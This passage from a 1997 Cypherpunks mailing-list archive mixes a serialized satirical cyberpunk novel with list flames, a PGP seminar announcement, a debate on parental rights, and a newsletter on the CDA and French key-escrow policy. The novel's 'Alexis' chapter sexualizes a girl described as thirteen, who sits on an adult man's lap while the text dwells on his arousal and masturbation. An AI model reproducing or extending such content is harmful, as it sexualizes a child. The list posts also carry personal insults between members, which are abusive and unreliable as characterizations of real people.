stuff during someone else's shift, pal. The brass is running us
ragged on one of their interminable pet projects and we've got
to account for every millisecond of CPU use. They've got a full-court
press on this one, and we're having trouble keeping our GelMem
from overheating."

Jonathan paused for a second, his mind working swiftly, and then
made a giant leap forward toward a destination that was only now
beginning to take shape in his subconscious mind.
"I could get you some spare cycles, Rabin, if you're really
that desperate."

Rabin began to speak, then stopped, obviously wondering what this
generosity on Jonathan's part was going to 'cost' him, in the
long run.

"Look, Rabin," Jonathan continued, filling in the empty
space, "I don't want to lose my HomeWork Privileges, and
I know that you can't keep burying my ground-connection kills,
so I might as well shut down for the day and spend some time at
Headquarters getting this shit straight. That will free up eighteen
GelMem units at GS-7 for you, and you can steal my HomeWork cycles
until the end of your shift."

Rabin looked thoughtfully at Jonathan, decided that Jonathan was
working in his own self-interest and thus would not expect to
extract future concessions for this gratuitous offering, and nodded
agreement.
"Done." said Jonathan as he shut down his Headquarters
programs.
"Besides," he said with a wink, "I need to restock
my liquor cabinet and the Headquarters commissary is a damn-sight
cheaper than what these local-yokels are gouging for a good bottle
of booze around here."


Toad.com


Rabin's face faded from the screen, as Jonathan kicked in Privacy
Mode and fell back into his chair with relief. He realized that
he was shaking slightly, and his thoughts returned to the CyberPost
which was now sitting in the HydroCube at the back of his desk.

CypherPunks.

Mere mention of the name in public came with a gold-plated guarantee
of a visit from GlobeNet Security. Even when speaking of them
in private conversation, it was advisable to do so only in historically
proper context, referring to them as the villainous instigators
of Channel War II.

Jonathan avoided discussing the CypherPunks, even privately, because
of the mixed emotions of fear, shame, and curiosity that the name
aroused in him.
His grandfather had been a CypherPunk, and had been executed at
the close of Channel War II.

Jonathan had vague memories of late-night visits by strangers
whose spirited discussions were so curiously enlivening that he
would often creep into his grandfather's study to listen, though
he was far too young to understand exactly what it was that they
were discussing.
Then came the sound of jackboots on the door, and his grandfather
handing him down to his father and mother in the cellar. The muffled
shots that rang out as he was carried to the waiting RoboShuttle.
The wetness of his mother's tears falling from her cheeks to his
as she clutched him closely in their flight to obscurity. The
graveled roughness of his father's voice as he prepared his family
for the harsh changes ahead in a life where their heritage and
their history must be hidden from one and all. 

The CypherPunks had ruined Jonathan's life.
Now, it looked like they might be about to do it again. Somehow,
his past had caught up to him. Someone, somewhere, had targeted
him for exposure as being genetically linked to one of the historical
monsters of Channel War II.

Jonathan threw the HydroCube on the InstaScanner and read the
beginnings of the message header, once again.

From - Sat Feb 01 7:09:00 1997
Return-Path: <owner-cypherpunks@toad.com>
Received from toad.com([140.174.2.1]) by mercury.grill.sk.ca for
<HumanGus-Peter@grill.sk.ca>
Received (from majordomo@localhost) by toad.com (8.7.5/8.7.3)
id IAA20555;
Message-Id:<199702011555.IAA20555@toad.com>

Date: Sun, 19 Jan 1997 08:40:04-800
To: cypherpunks@toad.com
>From "Timothy C. May<tcmay@got.net>
Subject: To Whom It 'May' Concern
Reply-To: "Timothy C. May"<tcmay@got.net>
Sender: owner-cypherpunks@toad.com

"We have met the enemy, and he is us."

--Tim May

Just say "No" to "Big Brother Inside"

We got computers, we're tapping phone lines, I know that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:

Timothy C. May | Crypto Anarchy: encryption, digital money
tcmay@got.net | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information
markets
Higher Power: 2^1398269 | black markets, collapse of governments.

"National borders aren't even speed bumps on the information
superhighway.
---------:---------:---------:---------:---------:---------:---------:---------:---------:---------:



The 'Mark of the Toad'.
That's what the Channel Government's news releases had called
his grandfather's tattoo when they had displayed it in 3D color
on GraphiCubes around the world. Jonathan's grandfather had the
tattoo done in an era when there was little danger associated
with being a member of the loosely-knit crypto-anarchists group
known as the CypherPunks.

Even after the beginning stages of InfoWar stirred its ugly head,
Jonathan's grandfather refused to have his tattoo removed, as
did most of the original CypherPunks list members. He considered
it a badge of honor. For Jonathan, however, the Mark of the Toad
had remained a mark of disgrace, forcing his family to flee for
their lives and change their identities.
Jonathan had managed to rise above all of this and put it behind
him, becoming a normal, accepted member of the society around
him. Now, however, his life of normality was being threatened.

Toad.com.
The original home of the CypherPunks mailing list.

Jonathan had recognized the format of the message header immediately,
having seen many like it in his grandfather's study as a child.
Normally, only the Masters of Antiquity would be capable of discerning
this header to be from a bygone era when InterNet transmissions
were still carried largely over land-lines, but even they would
probably not recognize the significance of the date, which was
burned into Jonathan's mind from the countless hours he had spent
poring over CypherPunks messages that he had purloined from his
grandfather's hidden files.

January 19, 1997.
The beginning date of the 'moderation experiment' on the legendary
CypherPunks mailing list. The beginning probe in preparation for
the launching of InfoWar-an experiment which had failed miserably
and had caused a delay in the plans of the Evil One. A delay caused
by the damnable insolence of the terminal misfits among the CypherPunks.
An insolence that was rumored to be fueled by the Circle of Eunuchs,
fanning the 'flames' of dissent among the CypherPunks, helping
them to resist the herding of their list members into the group-mindset
desired by the Evil One.

Jonathan sat frozen in his seat, once again, his brain locked
from the major dichotomies being produced as a result of his present-in
which the CypherPunks were a villainous band of rogues who had
instigated the launching of Channel War II-and his past, in which
his grandfather had been exposed both as one of the major players
in both the launching of Channel War II, and as traitorous scum
who had sabotaged the goals of the CypherPunks in that same historical
battle.
Jonathan's grandfather wasn't just a CypherPunk. He was the Fool.

Jonathan reached for a bottle of Jim Beam and, in doing so, realized
that he had subconsciously come to a decision. He would seek out
Bubba Rom Dos.

He would seek out the Circle of Eunuchs.


Chapter 1 - Arnold / Chapter 2 - Jonathan








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 19 Mar 1997 02:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Enigma
Message-ID: <199703191057.CAA29916@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' May's reheated, refurbished, and regurgitated 
cud is completely inappropriate for the mailing lists 
into which it is cross-ruminated.

         __
        /_/\__
        \_\/\_\ Timmy `C' May
        /\_\/_/
        \/_/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Subir Grewal <subir@crl.com>
Date: Wed, 19 Mar 1997 06:38:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: PGP seminar at New York University 3/27/97
Message-ID: <Pine.SUN.3.96L-rev1.970319063600.11123B-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain



        Computer Advocacy @ New York University and NYU's Academic
Computing Facility (ACF) present a seminar on Pretty Good Privacy as a  
part of Computer Awareness Week on Thursday, March 27 at 12:00 pm (noon).
Ilya Slavin of the Computer Advocacy and Tim O'Connor of the ACF will
discuss the reasons for using encryption tools, give a brief background of
the algorithms behind the face of PGP and analyze their strengths, and
demonstrate ways to incorporate PGP into popular tools such as Pine and
Tin.

        A key signing session will follow.
  
        If you are new to PGP or just want your key signed by a few more  
people and happen to be in New York City at the time, please come!  All
are invited.  Refreshments will be served.

        For more information, see
http://www.nyu.edu/pages/advocacy/awareness/
        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Wed, 19 Mar 1997 05:09:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: WebWorld 3-4
Message-ID: <332FE560.4C91@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle
of Eunuchs'


by Arnold


Copyright 1995, Pearl Publishing


Channel Revolution


I've been getting decent treatment around here since
I sandbagged Schultz. It was hell when I was first sent here.
Claiming to be a Net'er won't win you friends among the Channel
Citizens at the best of times, since they have always resented
our freedom from Channel Laws, but being perceived as a nut-case
claiming to be a Net'er puts you at the bottom of the pile even
among your fellow fruit-cakes.

It could be worse. They could have transferred me
to the "Home Shoppers Bargain Psychiatry Warehouse".
That's the worst of the worst. The Shop'ers have the poorest government
on WebWorld. When the citizens of the former world governments
got to choose their citizenship at the end of the Channel Revolution
every deadbeat compulsive spender on the face of the Earth signed
up with the Home Shopper Channel Government.

When the United States and the European Community
Collective had conceded (they were the last of the holdouts),
the Home Shoppers Revolutionary Movement had made a wise move
by declaring Leona Helmsley their first President. The other fledgling
Channel Governments laughed at the Shop'ers, but got a rude awakening
when the computer polls started showing the overwhelming numbers
of people electing to cast their lot with the Shop'ers.

The Shop'ers ran ads showing Leona purchasing magnificent
jewelry and other high-priced items from the Home Shopping Channel
and the masses rushed to join the bandwagon. Some of the slightly
more discriminating people became citizens of the Consumer Channel,
but they were few and far between. 
When the dust cleared, over a half a billion people found themselves
citizens of a Shop'ers government that consisted of compulsive
spending deadbeats, former Third-World citizens without a dime
in their pockets (but with big dreams of buying all the trinkets
in the flashy political ads), and 'credit card fraud' gypsies
aiming to grab the goodies and split.


The Revisionist Channel Government did surprisingly
well. They weren't given much of a chance in the original polls,
being branded as basically just a 'Holocaust Denial' fringe group,
but they, too, adapted quickly to the changing dynamics in the
newly declared WebWorld.

Henry Kissinger III was one of the few who foresaw
the potential of the Revisionists to do well in the new scheme
of things. He had grown up at the feet of his grandfather, one
of the great world leaders in the BC (Before Channel) years, listening
to the tales of how the Nazi regime came to power by preying on
the vanity of the pseudo-intelligentsia and the disenchantment
of the masses.

The Revisionist Channel Government moved quickly
to expand the narrow base of their appeal. In the former United
States of America they appealed to whites by running political
ads debunking the 'myth of slavery' as a plot to coerce whites
into a 'guilt' complex that could be used against them. In the
black areas they debunked the 'myth of slavery', convincing the
uneducated into believing that blacks had originally ruled America
and that when whites gained control of the government they rewrote
history to keep black people from regaining their superior stature.
In Japan, they revised 'history' to give the Japanese superiority
over the Chinese-in China, the same story in reverse. England-Ireland,
Iraq-Iran, everyone was played one against the other and the slow-of-wit
all rushed absurdly to become citizens of a government who claimed
each of the citizens was superior to the other.
The original fears of the other Channel Governments quickly changed
to relief when it became apparent that the Revisionist citizens
would be too busy fighting internal battles to cause any problems
for the other CG's.


When the smoke finally cleared at the end of the
Channel Revolution, the Money Channel Government ended up with
the fewest citizens and the largest amount of goodies. They were
one of the few Channels to actually restrict citizenship. While
most of the Channel Revolutionary parties lobbied hard for big
numbers, the Money Channel lobbied discretely for the movers and
the shakers; people who had plenty of cash and assets, and who
knew how to use them.

The CC's (Ca$h Cows), as they were known back then,
had the foresight to gain control of the InterNet, a seemingly
insignificant entity at the time. It had, at one time in history,
been the rage, but it faded into the background after its proverbial
fifteen-minutes of fame and glory. Only the movers and the shakers
realized the true history and importance of the InterNet.

In the decades preceding the Channel Revolution,
the First Great TV Era had come and gone, being replaced by the
Computer Era.
Computers were the wave of the future. Computers ruled! Computers
eventually were linked world-wide by the newest world-darling,
the InterNet, under the auspices of the World Wide Web, which
was crowned King and then inexplicably disappeared into an ever-present
but lightly regarded fog of everyday banality after the advent
of WebTV. 
WebTV once again made Television King, exploding to 500 Channels
and ushering in the Second Great WebTV Era and the Channel Revolution,
which led, in turn, to the Great Channel War, later known as Channel
War I. 

There were rumors everywhere, in those days, of Gomez
and the Dark Allies, backed by the Ca$h Cows of the Money Channel,
striving for control of the airwaves, for control of 'broadcast
reality'...and for control of the minds of mankind. Then, for
no apparent reason, the rumors abruptly stopped 'cold'. This made
the few remaining people who were still capable of independent,
rational thought processes, even more nervous than the rumors
had made them in the first place.

At the close of Channel War I, the leaders among
the winning factions directed the fear and hate of the masses
towards the InterNet, thus gaining support for wide-ranging laws
supported by all Channel Governments which placed serious restrictions
on the InterNet, along with corresponding WebWorld Security checks
and balances on the its management and the power of the Net'ers..

The Money Channel Government, which by that time
held three channels under its control, railed as hard as anyone
against the threat of the InterNet but their overly obtuse professions
of indignation were viewed with suspicion by the other CG's. To
lessen the threat of MCG control of the InterNet, the other Channel
Governments, in return for begrudgingly conceding the Money Channel
Government's right to control three channels, demanded that ownership
and control of the InterNet be turned over to the CypherPunk Channel
Government, a spin-off of the 'Wired' Channel which had become
one of the early casualties in Channel War I. 

The basic premise behind their demand was that the
InterNet, which still filled an essential need, would not be as
threatening in the hands of a bunch of fun-loving, loosely organized
misfits as it would be in the hands of the movers and shakers.
No one seemed to notice how easily the CC's gave in to their demands.
(And the 'Ca$h Cows' didn't seem to notice the overly obtuse professions
of indifference with which the CypherPunks accepted the mantle
of control over the InterNet.)
The Money Channel Government, which now included the Money Market
Channel and the Zero-Tax Channel, had secretly backed the CypherPunks
in Channel War I during their internal battle with the 'Wired'
Channel Government's established honchos. 'Wired', a leading-edge
computer magazine during the height of the Computer Era, had parlayed
their fifteen-minutes of fame into a major-league enterprise commanding
their own TV Channel, and became one of the key players in the
Channel Revolutionary War.

The Ca$h Cows, having learned from history the formidable
power of counter-revolutionary movements, had the incredibly astute
intelligence to realize the value of empowering (and at the same
time controlling by proxy) the seemingly disenchanted CyberMisfits
at the core of the 'Wired' Channel Government's power base. After
biding their time, the CC's manipulated the CypherPunks into taking
the blame for launching the opening salvo of Channel War II.
The CypherPunks, being well-grounded in the Tao and incredibly
astute students of Tai-Chi and the Tarot, realized the incredible
power of playing the Fool, and they allowed themselves to totally
go-with-the-flow of the Money Channel Governments 'deceptive'
manipulations.

I can see you rolling your eyes again, smiling smugly.
"Right," you're saying, "and now this looney-tune
is going to tell us that he was one of the legendary CypherPunks."


I know the CypherPunks started Channel War II. I
instigated the Battle of Channel 49-and I made sure we lost.

I wasn't just a CypherPunk...I was the Fool.


Alexis


Alexis brushed the tiny, woolen balls of lint from the hair at
base of the old man's neck. They fell slowly to the floor, doing
a swirling-dervish type of dance as they were caught between gravity
and the upward pull of the ceiling fan twirling lazily above their
table at the back of the bar.

The fan didn't help much. Her thin, cashmere blouse, soaking up
the sweat from her nubile young body, clung to the gently flowing
curves of her breasts, and she knew that every man in the bar
was fully conscious of when she was taking shallow breaths, and
when she was breathing deeply. 
They were following the rise and fall of her breasts like a shore-leave
sailor, sitting on the beach and watching his ship, his beloved,
rocking gently in the waves, as if beckoning him to come to her
and share her gentle rhythms on a journey beyond this place, towards
a fate that lies just beyond a horizon that they will never quite
reach.

They were equally conscious of Bubba, half-asleep, leaning his
head ever so lightly on her shoulder, and slightly below her shoulder,
on the lower part of her collar-bone, so very close to her tender
young breasts, but never quite touching them.

She knew it was driving them crazy.

The young man, Jonathan, who was sitting at their table, was positively
a wreck. He had said nothing in the fifteen minutes he had been
sitting, waiting for Bubba, though he had 'almost' begun to speak
several times, then stopped.

Alexis knew that it was because, try as he might, he couldn't
think of a sentence that didn't have the word 'breasts' in it.

Finally, he managed to say,
"It's certainly very hot, today. Is Bubba your grandfather?
The humidity certainly makes one's clothes...", his own reference
forced him, involuntarily, to look down to stare at her breasts,
as he added, weakly, the word, "...cling." 

"To my breasts, you mean?", Alexis replied casually
with a slight air of interest, rather than offense, in her tone.

"Oh, no!", the young man almost cried out, "I mean...I
mean, I'm sorry, I'm...I'm..."

"Stuttering, I believe, is the word you're looking for.",
Alexis said with a small, friendly laugh.

"Yes...stuttering.", Jonathan returned her cue rather
honestly, she thought, for someone who appeared to be more inclined
to bolt for the door than to engage in humorous conversation regarding
his obviously extreme embarrassment over the situation in which
he currently found himself .
But he wouldn't...leave, that is. He was one of them,
a Net'er, or a computer programmer of some sort, no matter which
Channel he was a citizen of. And he needed to see Bubba-he needed
to-no matter what he had to go through to do so, because the alternative,
not seeing and talking to him, was unimaginable.

"You know, you people only come here when you discover
that there's nowhere else for you to turn.", Alexis said
abruptly, with a hint of harshness in her voice.

"Excuse me?", the youth replied.

"You know perfectly well, what I'm talking about."
she said with an air of consternation.
"On the streets, your type make fun of him, you have for
years, and years. You call him a crazy, drunken old fool. You
think he's a joke." Her voice was rising steadily.

"When it starts happening, when you see things-strange things,
troubling things-then you come running to him and want him to
explain things, to make it all right, or make it go away, because
you don't want to see these things, you don't
want to know what's going on around you, and you can't
bear to live for only a few days, or a few weeks, with
what he's had to live with for years."

Alexis was standing, now, having lowered Bubba's head to rest
on the table as he dozed on. She was right in front of the sitting
Jonathan, her ample breasts hovering inches from his now-dismal
face, though his body was more desirous than ever of having her.

She sat quickly down on his lap and put her fingers through the
opening between the first and second buttons of his shirt. She
stroked his chest slightly, as she continued,
"If you want to speak to Bubba, then you have to answer the
questions I am about to ask you, and do so absolutely truthfully."

Jonathan could only nod-yes. Speaking was beyond him, as he found
his body becoming tense beyond belief.

"You asked if Bubba was my grandfather, but you really want
to know if I'm fucking the old geezer-if all those stories about
him are true. Right?"

"Yes." Jonathan was looking at the ceiling, and self-consciously
trying not to move his body in the slightest.

"And you're here because strange things have been happening,
strange thoughts have been troubling you, making you afraid."

"Yes."

She reached her right hand around to his back, stroking it in
what might be considered a 'motherly' way, except that her breasts
were only fractions of an inch from his chest and directly in
his line of sight, and her breath was hot upon his cheek as she
began to whisper in his ear,
"You've lived quietly, for years, in a nice, sterile world
of numbers, and data, and pure mathematics where everything is
programmed and controlled, stable and docile, and now you have
fears and other feelings and they're putting you
in a quandary, because numbers and programs don't care
how you feel, and they don't feel 'back'."

Jonathan just sat silently, with no reply possible to someone
who talked as if she had been reading his mail-watching his life
more carefully and clearly than he had been doing himself.

"And now you're running to Bubba for help, to find out if
the myth of the 'Circle' is true, if there is someone,
somewhere, who can make it better, or make it go away, because
during all the time that he spent putting himself on the line,
trying to convince people like yourself that the danger was real,
you merely wanted to take the easy way, to just be
left alone to be swept along with the great tide of humanity around
you."

Jonathan was wishing, with all his might, that Alexis would stop,
but she continued,
"Your programs and your machines are doing things that you
didn't design them to do, things that you didn't program them
for-weird things, evil things, and there's nothing you can do
to stop them, right?"

Jonathan was starting to sweat quite a bit, himself, now. Some
of it was from the heat, some from remembering the 'night terrors'
of late, and some of it seemed to be rising up, steaming, from
his loins.
"Yes, all of that, and more."

Alexis was now sitting on his lap, facing him directly, her two
hands on his hips on either side of him. The few, scattered patrons
of the bar were having problems with their own loins as they watched
the display she was putting on for their benefit, leaning close
to whisper in his ear,
"I'm only thirteen years old...", she could feel
him almost audibly groan as she ran her hands lightly over his
buttocks, "but when you get back home, and you're still hard,
you're going to be thinking of me while you 'do'
yourself, you sick pervert."

"Actually, I don't think I'll make it that far,"
Jonathan replied in halted breaths, "but I'm hoping to make
it as least as far as the next alley."

Alexis leapt off of his lap, slapping him lightly on the shoulder,
saying,
"Shame on you, talking like that to a thirteen year-old."

She laughed in amusement, and he laughed in relief at having been
saved the embarrassment of 'messing' himself in the bar, a public
place, and he was happy to sit and sip his beer for a time, dreading
any further conversation.

Finally, she spoke, once again.
"You might as well go home, now. There's nothing for you
here.

"All the dangers that Bubba spoke about are true,
I think you know that, now. But the Circle of Eunuchs is just
a myth, there's nobody doing anything about it. Nobody can
do anything about it. It's only a matter of time, now."
Alexis's face took on a sad, forlorn look, and she returned once
again to brushing off the small balls of wool from the nape of
his hairy neck, leaning down to kiss Bubba lightly on the cheek,
with genuine love, ignoring Jonathan, once again.

After a few moments, he rose somberly and made his way to the
door. He knew that he, too, would be sad and forlorn tonight.
But he also knew that she was right-he would be thinking
of her tonight while he was 'doing' himself.

He smiled, in spite of himself.


Chapter 3 - Channel Revolution / Chapter 4 - Alexis








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 19 Mar 1997 07:53:44 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Enigma
In-Reply-To: <199703191057.CAA29916@mailmasher.com>
Message-ID: <Pine.A41.3.95.970319085106.114524A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 19 Mar 1997, Huge Cajones Remailer wrote:

Pill time Vulis

> Timmy `C' May's reheated, refurbished, and regurgitated 
> cud is completely inappropriate for the mailing lists 
> into which it is cross-ruminated.
> 
>          __
>         /_/\__
>         \_\/\_\ Timmy `C' May
>         /\_\/_/
>         \/_/
> 


        http://www.freenet.edmonton.ab.ca/~real/index.html

                                          : real@freenet.edmonton.ab.ca
Graham-John Bullers                  email
                                          : ab756@freenet.toronto.on.ca






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Wed, 19 Mar 1997 06:04:39 -0800 (PST)
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <199703182356.XAA02032@mailhub.amaranth.com>
Message-ID: <3.0.1.32.19970319085818.007cf9a0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 12:42 AM 3/19/97 -0600, you wrote:

*|>Parents most certainly are not the only ones to determine the welfare of
*|>their children; society has assumed a significant role and typically moves
*|>to protect the child from the parents or from the _beliefs_ of the
*|>parents.

*|Just because the government subverts the RIGHTS of the parents does not
*|mean that the parents do not have those rights.
*|
*|A parent is the sole person who has a *RIGHT* to determine the welfair of
*|their childern. You do not have that right, I do not have that right, the
*|government does not have that right. To beleive that the government should
*|"protect" a child from the beliefs of its parents is truly
*|FASISTS/COMMUNIST/STATIST (pick you flavor they are all the same <G>).
*|
*|I as a parent have the sole right to determine what religon to teach my
*|children, how to rase my children, how to teach my children, how to reward
*|my children and how to punish my children PERIOD.
*|
*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.
*|
*|"When the wants of society override the rights of the individule that
*|society must die" -- whgiii

Dear whgiii,

Children are, also, possessors of certain inalienable rights. 

Parents have certain _privileges_ in regard to their children which others do
not have; if the parents abuse the _rights_ which their children possess
solely by  virtue of being humans and citizens, the state is obligated to
intervene on behalf of the child--a citizen. In just the same way that if I
were to threaten or batter you (or visa versa) the state would interpose
itself to protect me.

_With reservations_ I grant you parents have _great_ leeway in the areas of
religious training, education, medical care, general child rearing
(punishment/reward). When parents overstep either by action or neglect,
society intervenes.

I _understand_ your point that in an ideal society the government would not
intervene. At this point, though, we don't seem to be there.

Alec

What's the point of the following? Discourse is healthy in an open system.
Why the exclusion?

*|Perhaps you should take your STATIST tendicies over to alt.hitler.fanclub
*|as they are quite out of place here.


      
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Charles Anthony" <canthony@info-nation.com>
Date: Wed, 19 Mar 1997 07:43:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: (Fwd) lambda 3.01 - Your Customs Officer is Watching You
Message-ID: <199703191543.JAA05103@bitstream.net>
MIME-Version: 1.0
Content-Type: text/plain


------- Forwarded Message Follows -------
Date:          Wed, 19 Mar 1997 11:07:46 +0100
To:            thorel@netpress.fr
From:          Jerome Thorel <jt@freenix.fr>
Subject:       lambda 3.01 - Your Customs Officer is Watching You

lambda 3.01

contents:
--> CDA countdown : The Supreme Court Has Some Clues
on Knocking Down the CDA
--> New in Cyberspace: The Frontiers Are Back!
Your Customs Officer Is Watching You
--> Crypto Update : France and the OECD



*	*	*	*	*



THE SUPREME COURT HAS SOME CLUES ON KNOCKING DOWN THE CDA

Well before the U.S. Supreme Court hears arguments on the constitutionality
of the CDA, David Sobel, EPIC's legal counsel, reminded the electronic
community that the Court handed down a decisive decision two years ago.
Excerpts from the EPIC Alert 4.04 newsletter herewith:

--- begin fwd message ---

To avoid potential criminal liability under the CDA's "indecency"
provision, information providers would, in effect, be required to verify
the identities and ages of all recipients of material that might be deemed
inappropriate for children. If upheld, the statutory regime would thus
result in the creation of "registration records" for tens of thousands of
Internet sites, containing detailed descriptions of information accessed by
particular recipients. These records would be accessible to law enforcement
agencies and prosecutors investigating alleged violations of the statute.
Such a regime would constitute a gross violation of Americans' rights to
access information privately and anonymously.

Two years ago, the Supreme Court upheld the right to anonymous speech in
McIntyre v. Ohio Elections Commission. EPIC believes that the Court's
rationale in that case applies with even greater force to the Internet
"indecency" provisions now under review. The Court noted in McIntyre that:

" The decision in favor of anonymity may be motivated by fear of economic
or official retaliation, by concern about social ostracism, or merely by a
desire to preserve as much of one's privacy as possible. ...

"Anonymity is a shield from the tyranny of the majority. It thus
exemplifies the purpose behind the Bill of Rights, and of the First
Amendment in particular: to protect unpopular individuals from retaliation
-- and their ideas from suppression -- at the hand of an intolerant
society."

Whether the millions of individuals visiting sites on the Internet are
seeking information on teenage pregnancy, AIDS and other sexually
transmitted diseases, classic works of literature or avant-garde poetry,
they enjoy a Constitutional right to do so privately and anonymously. The
Communications Decency Act seeks to destroy that right. If upheld, the CDA
would render the Internet not only the most censored communications medium,
but also the most heavily monitored.

"EPIC is confident that upon review of the legislation and its impact upon
free speech and privacy rights in emerging electronic media, the Supreme
Court will affirm the lower court decision invalidating the CDA as
fundamentally at odds with the Constitution."

--- end fwd message ---

The EPIC said that following the oral argument, the Reno v. ACLU plaintiffs
and lawyers will hold a news conference to offer in-depth analysis and
commentary (approximately 11:30 a.m. ET). The event will be cybercast live
via RealAudio on the World Wide Web.

Links to the cybercast will be available at:
http://www.epic.org/cda/
and
http://www.aclu.org/issues/cyber/trial/appeal.html




*	*	*	*	*




YOUR CUSTOMS OFFICER IS WATCHING YOU
New in Cyberspace: The Frontiers Are Back!

On March 6, the French security agency SCSSI gave its approval for a
secured payment protocol called C-SET, or Chip-Secured Electronic
Transaction. After one look at this European version of the US standard of
SET, which will be completed this year, one might ask: "Why bother?" Your
customs officer might well reply: "For me!"

C-SET re-draws the boarders of the real world in cyberspace -- where
national boundaries were scheduled to have been given up forever. Moreover,
the system could easily be used to escrow private communications, because
encrypted messages will be transmitted to a third party in order for police
to have a lawful access to its secret key.

The Intelligence Newsletter (http://www.indigo-net.com/intel.html) first
reported in its Feb. 26 edition that C-SET could be used as a national
shield for controlling money transfers, and thus be used as an intermediary
between the law enforcement agencies, the vendor and the buyer. French
security officials agreed to accept C-SET because it is compatible with
future trusted third-party systems, dedicated to assuring national
governments that all encrypted communications will be key-escrowed.

"The French Finance Ministry has not yet decided to apply taxes and duties
for online transactions, but C-SET is the adequate system to do that", says
Claude Meggle, director of security at the French Groupement des Cartes
Bancaires (a consortium of 200 French banks), the main architect of C-SET.
"It is a way for national states to keep their sovereignty, without
hindering international commerce".

In France and other European countries, credit cards are so-called "smart
cards." Embedded with microchips, it is a more secure way to authenticate
-- and identify -- the buyer than a hand-written signature. The GCB was not
fully satisfied by the SET standard, which "provides only software security
as it doesn't include a smart card," the Intelligence Review reported. "As
a result, the 'certificate' which enables a customer to be identified when
making an electronic purchase is stored on his hard disk. This exposes it
to all types of attack, and makes the system less than 'portable' -- the
certificate is linked to the computer and not the person. The C-SET is
exactly the opposite," the newsletter added.

Hardware is needed to use C-SET; a PIN-number pad manufactured by
state-owned Bull's smart card division CP8 will be sold for less than 500
FF (US$100), Meggle told lambda bulletin. When the users are connected to a
virtual mall, they'll have to type their 4-digits secret code (as it is
today with bank cards), and the transaction will be transferred to a
distant server owned by the bank. Thus this go-between server will be based
in the country where a user has his or her bank account, and the same bank
plays the role of a TTP. The user's privacy and anonymity will be
protected, but only from the merchant's point of view.

Banks-turned-TTPs will have to keep records of all transactional data for
law-enforcement purposes. Recently, officials at the main money laundering
agencies of industrialised countries met to discuss the problems caused by
the Internet. C-SET could be one way to keep money transfers under the
close eye of the law. The European Commission agreed to the system being
tested as a possible future standard, and all major European countries have
plans to test it in the near future (from Germany to Belgium, UK, Spain,
etc.)

It is no surprise that the SCSSI, one of the most conservative cryptography
agencies in the world -- which considers the US technology lead on
encryption as a national threat -- first refused to allow C-SET to encrypt
a part of the transaction. The TTP compatibility was seen as a necessary
condition for approval. Meggli said the encrypted material uses a DES-based
56-bit key, while a RSA public-key system (1024-bit length) is used for
transmission.

As Meggle acknowledged, this PIN-pad based identification system could be
also used as a way to identify users that send encrypted messages in
private communications. The TTPs will have to keep a record of connections
-- as all banks are doing today to officially fight fraud -- and give a
user's private key to police authorities if called upon to do so.


*	*	*	*	*


CRYPTO UPDATES

* French officials at the SCSSI and the prime minister's office are worried
that aspects of the government's crypto policy may be regarded by the
European Commission in Brussels as an obstacle to common market principles.
The government's law outlining a TTP key-recovery system, voted by the
legislature last summer, has yet to be enacted by ministerial decree. An
initial version of the decree (see lambda 2.13) stated that only French
employees (of companies held with a majority of French capital) would be
allowed to act as a TTP in the country. Whether the law would violate rules
concerning the free flow of capital and workers in the European Union is
uncertain. However the French government has something in its favor (for
better or for worse) regarding possible anti-competitive practices in this
area: The EC is prohibited from making decisions that may overlap with
issues of national security.

* Meanwhile, the Paris-based OECD is to publish its guidelines on
international cryptography procedures (lawful access, condition of TTP
systems, etc.) at the end of March. The report has been approved by both
the OECD expert group and division committee with slight changes in the
wording, and now needs only the endorsement of the OECD Council of
Ministers.

----
A report by Jerome Thorel <jt@freenix.fr>
English rewriting: Ken N. Cukier <100736.3602@CompuServe.COM>
lambda archives --> www.freenix.fr/netizen
----

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Jerome Thorel 			Planete Internet
Journalist, Paris		Editor / Redac chef
thorel@netpress.fr		191 av A. Briand, 94230 Cachan
Tel: 33 1 49085833 - fax-31	www.planete-internet.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 19 Mar 1997 09:07:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Market Failures, Monocultures, and Dead Kids (Oh My!)
In-Reply-To: <332FAF09.CD3@gte.net>
Message-ID: <FiLT4D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn <dthorn@gte.net> writes:

> William H. Geiger III wrote:
> >    Alec <camcc@abraxis.com> said:
> > >Not in every case do the parents have the right to determine what
> > >treatment shall be performed or whether it shall occur at all. More often
> > >than not the courts have allowed medical treatment for the child who is
> > >not able to consent to such treatment for himself.
> 
